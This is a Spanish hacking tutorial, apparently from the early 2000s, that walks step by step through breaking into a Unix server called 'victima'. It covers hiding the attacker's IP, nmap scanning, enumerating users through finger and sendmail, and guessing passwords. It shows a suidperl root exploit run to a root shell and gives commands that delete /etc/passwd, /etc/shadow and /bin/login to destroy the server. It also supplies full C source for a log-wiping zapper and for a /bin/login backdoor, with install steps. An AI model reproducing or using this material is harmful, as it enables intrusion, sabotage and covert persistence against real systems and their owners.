'Una de las tantas' by CoKi --------------------------- Lo que les voy a contar solamente es "una de las tantas" maneras que hay para entrar a un sistema Unix. Lo primero de todo es trabajar ocultando nuestra verdadera IP, esto se puede hacer de varias maneras, por ejemplo usando shells, sino otra manera es usar un WinGate, hay miles de estos por la red y te permiten conectar a quien quieras pasando a travez de ellos ;) Bueno, aca empiezo: 1.- Consiguiendo información En esta parte es cuando lo unico que tenemos es la IP o el host del serv0 que queremos 'rootear'. Primero necesitamos conocer los puertos que tiene abiertos, por ejemplo se puede usar el muy conocido 'nmap': [root@NoSys /]# nmap -sS 200.42.XXX.XXX Starting nmap V. 2.54BETA22 ( www.insecure.org/nmap/ ) Interesting ports on (200.42.XXX.XXX): (The 1535 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 23/tcp open telnet 25/tcp open smtp 79/tcp open finger 80/tcp open http 110/tcp open pop-3 139/tcp filtered netbios-ssn Nmap run completed -- 1 IP address (1 host up) scanned in 6 seconds [root@NoSys /]# Bueno hasta ahora sabemos que puertos tiene abiertos, lo que vamos a hacer ahora es 'surfear' los puertos, esto quiere decir, conocer el deamon que esta corriendo en cada uno de ellos, veamos: Puerto 21: --------- victima.com FTP server (Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999) ready. Puerto 23: --------- Welcome to Linux 2.2.20. victima.com login: Puerto 25: --------- victima.com ESMTP Sendmail 8.9.3/8.9.3; Sat, 13 Jul 2002 16:50:19 -0300 Puerto 80: --------- Apache/1.3.26 (Unix) Puerto 110: ---------- victima.com POP3 Server (Version 1.006d) ready at Estos son los puertos que mas nos interesan. Podemos ver tambien que tenemos el servicio 'finger', muy útil ya que podemos ver mucha información sobre los usuarios. En este serv0 no sabemos exactamente que distro de linux es, pero nos podemos llegar a dar una idea, no es de los nuevos kernels, ni de los muy viejos =) 2.- Consiguiendo acceso Necesitamos algun usuario que nos permita loguearnos localmente, hay varias maneras, pero las que uso yo son: - Usuarios por defecto: Probar usuario que ya vienen en las distribuciones, aunque esto es muy difícil, ya que no permiten login remoto y hay que tener mucha suerte, hay listas por cualquer parte. - Finger: Con el comando '/w' nos muestra los usuarios logeados en ese momento, si no hay ninguno podemos empezar a probar usuarios que se nos ocurran. - Mail: En este puerto probar con los comandos 'expn' o 'vrfy' para ver si existen los usuarios que se nos ocurren. - Web: Entrar al sitio que este hospedando y buscar direcciones de mail que pertenezcan al servidor en cuestión. Esta última es muy útil, ya que siempre funciona, por ejemplo en la página vemos que hay una direccion de mail como 'webmaster@victima.com' entonces vamos y nos telneteamos al sendmail y escribimos 'expn webmaster' si nos responde con una dirección de mail, como 'jorgep@victima.com' sabemos que esa dirección esta redirigida al usuario 'jorgep'. Entonces nos telneteamos al finger y escribimos 'jorgep': Login: jorgep Name: Jorge Perez Directory: /home/jorgep Shell: /bin/bash Last login Sun Jun 09 16:14 (ART) on tty1 Mail last read Fri Jul 12 09:40 2002 (ART) No Plan. Aca vemos el directorio del usuario, el tipo de shell que tiene, el último login, que si en vez de decir tty1 (consola) dice alguna dirección host, podemos investigar ese host, ya que si logramos entrar ahi, plantamos un 'sniffer' y tenemos su password del serv0 víctima. Hasta aca, ya tenemos un usuario, ahora lo que necesitamos es su password ;) Podemos pasarle algun diccionario que ande dando vueltas por ahi, pero la verdad esto es un poco tedioso y deja un lindo log en el sistema, cosa que llamara la atencion al admin. Pero antes de eso, necesitamos de nuestra imaginación, concentración y suerte; y empezamos a telnetearnos a nuestro serv0 víctima al puerto 23 pasando por distintos WinGates para no llamar la atencion en los logs, y probando passwords, como jorgep, pjorge, jperez, jorgeperez, jorgep123, jorge*perez, etc. y asi un buen rato hasta poder dar con la contraseña. Pero si no resulta pasan el diccionario de passwords y a la merda. Si no encontraron el password buscan algun exploit remoto para estos deamons y su kernel, cosa que no voy a explicar en este texto. Si ya tienen la pass y estan adentro del sistema con el usuario, ya estan muy cerca de nuestro objetivo. 3.- Rooteando Lo primero de todo es ver la verdadera version del sistema, lo hacemos con el comando 'uname -a' y buscando en '/etc' files, en algún lado van a encontrar la version de la distro: victima.com@~$ uname -a Linux victima.com 2.2.20 #2 Thu Sep 6 17:21:28 EDT 2001 i586 unknown victima.com@~$ cat /etc/slackware-version 7.0.0 Ahora que sabemos la version que usa, empezamos con lo mas divertido, buscar exploits!! Podemos ir a packetstormsecurity.com o a cualquier mirror del muy querido hack.co.za y buscar los exploits locales para estos daemons, kernel, distro, etc., una vez que tienen el exploit, leanlo y sepan de que se trata, no sean lam0s, averiguen sobre como se explota esa vulnerabilidad y como funciona, asi van a entender mucho mas lo que están haciendo. Una vez que lo subieron al serv0 ejecutenlo: victima.com@~$ sh xperl.sh Suidperl 5.00503 (and newer) root exploit ----------------------------------------- Written by Michal Zalewski With great respect to Sebastian Krahmer... [*] Using suidperl=/usr/bin/suidperl, suidbin=/usr/bin/passwd... [+] Checks passed, compiling flares and helper applications... cc bighole.c -o bighole cc sush.c -o sush [+] Setting up environment... [+] Starting exploit. It could take up to 5 minutes in order to get [+] working root shell. WARNING - WARNING - WARNING: it could cause [+] heavy system load. [+] VOILA, BABE :-) Entering rootshell... bash-2.03# id uid=0(root) gid=0(root) grupos=0(root) bash-2.03# Noten el cambio de '$' por '#' =)) Este es un exploit para suidperl utilizando /bin/mail y lo pueden conseguir por cualquier parte de la red =) 4.- Una vez adentro Bueno, esto más que nada va en lo que tengan ganas de hacer, por ejemplo hacer un deface y borrar todas las huellas, como wtmp, utmp, lastlog, .bash_history, exploits, etc. Pero si le tienen mucha bronca al admin del site, lo que pueden hacer es: # rm /etc/passwd # rm /etc/shadow # rm /bin/login # rm /bin/rm # rm /etc/inetd.conf # killall login Cierran los demas daemons, menos el de httpd para que quede el deface y listo, este serv0 no sirve más, el admin va a tener que reinstalar todo ;) Ahora, si lo que quieren es conservar el root y que el admin no se de cuenta, van a tener que hacer algo mejor que 'borrar' los archivos de logs, tienen que buscar algun zapper bueno, que les oculte las huellas dejadas y plantar un lindo 'backdoor' que les de una shell de root cuando quieran, sin dejar rastros en el comando 'who' ni en los logs. Aca les doy un simple zapper ------------------------------------------------------------------- /* programa borrar.c */ #include #include #include #include #include #include #define UTMP "/var/run/utmp" /* ruta del utmp */ #define WTMP "/var/log/wtmp" /* ruta del wtmp */ #define LASTLOG "/var/log/lastlog" /* ruta del lastlog */ /***** BORRAR HUELLAS DE UTMP Y WTMP *****/ void borrar1(char *usuario, char *log) { struct utmp u; /* usamos la estructura de datos 'utmp' */ int fd; int cambio = 0; if ((fd = open(log,O_RDONLY)) == 0) { fprintf(stderr,"Error : no encontrado el fichero %s\n",log); exit(0); } close(fd); if ((fd = open(log,O_RDWR)) == 0) { fprintf(stderr,"Error : no se puede abrir el fichero %s para escritura\n",log); exit(0); } lseek(fd, 0, SEEK_SET); while (read(fd, &u, sizeof(u))) { if (!strncmp(u.ut_user, usuario, strlen(usuario))) { bzero((char *)&u, sizeof(u)); /* si hay alguna referencia */ lseek(fd, -(sizeof(u)), SEEK_CUR); /* sobre el usuario elegido */ write(fd, &u, sizeof(u)); /* borra las huellas */ cambio = 1; } } close(fd); if (cambio == 0) fprintf(stderr,"No se han encontrado huellas en '%s'\n",log); else fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log); return; } /***** BORRAR HUELLAS DE LASTLOG *****/ void borrar2(char *usuario, char *log) { struct lastlog l; /* usamos la estructura de datos 'lastlog' */ struct passwd *pwd; /* usamos la estructura de datos 'passwd' */ int fd; int cambio = 0; if ((fd = open(log,O_RDONLY)) == 0) { fprintf(stderr,"Error : no encontrado el fichero %s\n",log); exit(0); } close(fd); if ((fd = open(log,O_RDWR)) == 0) { fprintf(stderr,"Error : no se puede abrir el fichero %s para escritura\n",log); exit(0); } lseek(fd, 0, SEEK_SET); if ((pwd = getpwnam(usuario)) == NULL) { fprintf(stderr,"Error : no existe ese usuario\n"); exit(0); } while (read(fd, &l, sizeof(l))) { if (lseek(fd, (long)pwd->pw_uid*sizeof(l), SEEK_CUR)) { bzero((char *)&l, sizeof(l)); /* si hay alguna referencia al */ write(fd, &l, sizeof(l)); /* usuario elegido, borra las */ cambio = 1; /* huellas */ } } close(fd); if (cambio == 0) fprintf(stderr,"No se han encontrado huellas en '%s'\n",log); else fprintf(stderr,"Las huellas de '%s' han sido borradas\n",log); return; } /***** FUNCION PRINCIPAL *****/ void main(int argc, char *argv[]) { if (argc != 3) { fprintf(stderr, "Uso : %s \n"); fprintf(stderr," u = utmp\n"); fprintf(stderr," w = wtmp\n"); fprintf(stderr," l = lastlog\n"); fprintf(stderr," t = todo (los tres)\n"); exit(0); } if (argv[2][0] == 'l') borrar2(argv[1], LASTLOG); /* borramos las huellas del lastlog */ if (argv[2][0] == 'u') borrar1(argv[1], UTMP); /* borramos las huellas del utmp */ if (argv[2][0] == 'w') borrar1(argv[1], WTMP); /* borramos las huellas del wtmp */ if (argv[2][0] == 't') { borrar2(argv[1], LASTLOG); borrar1(argv[1], UTMP); borrar1(argv[1], WTMP); } } ------------------------------------------------------------------- Y este es el backdoor que yo uso ------------------------------------------------------------------- /* * Localcore (http://www.localcore.org) login backdoor. * To trigger, you can either do: * DISPLAY=MAGIC_WORD; export DISPLAY; telnet target-host * or * telnet * env def DISPLAY MAGIC_WORD * o target-host * * Installation: copy /bin/login to /usr/lib/login , chmod 755 it, * copy this to /bin/login, chmod 4755 it and touch all timestamps. * * Change the MAGIC_WORD and such to taste your fit. */ #include /* start of user def stuff */ #define OLDLOGIN "/usr/lib/login" #define LOGINNAME "login" #define MAGIC_WORD "localhost" /* end of user def stuff */ /* To make it a bit better looking in strings */ #define REVISION "$Id: Localcore 2000/08/14 21:31:00 marekm Exp $" char **exe; do_back() { puts(REVISION); putenv("TERM=vt100"); putenv("HISTFILE=/dev/null"); execl("/bin/sh","sh","-i",0); } main(argc, argv) int argc; char *argv[]; { exe = argv; exe[0] = LOGINNAME; if ((char *)getenv("DISPLAY") != (char *)NULL) if (strncmp(getenv("DISPLAY"),MAGIC_WORD,strlen(MAGIC_WORD)) == 0) do_back(); execv(OLDLOGIN,exe); } ------------------------------------------------------------------- Para instalarlo se sube al serv0 y se hace lo siguiente: # gcc -o bkdoor bkdoor.c # cp /bin/login /usr/lib/login # chmod 755 /usr/lib/login # mv bkdoor /bin/login # chmod 4755 /bin/login Con esto reemplazamos /bin/login por nuestro backdoor, después de esto hacemos un touch y listo: # export DISPLAY="localhost"; telnet 200.42.XXX.XXX Trying 200.42.XXX.XXX... Conected to 200.42.XXX.XXX Escape character ir "". Welcome to Linux 2.2.20. $Id: Localcore 2000/08/14 21:31:00 marekm Exp $ sh-2.03# Listo estamos logueados como root, sin aparecer en el comando who, ni en los logs ;) "localhost" es la pass que se cambia en el source del backdoor. 5.- Despedida Bueno esto es todo, no es gran cosa, supongo que esto la mayoría ya lo sabía, pero siempre a alguien le puede servir. Y no anden dejando su IP por cualquier lado, CUIDENLA !! by CoKi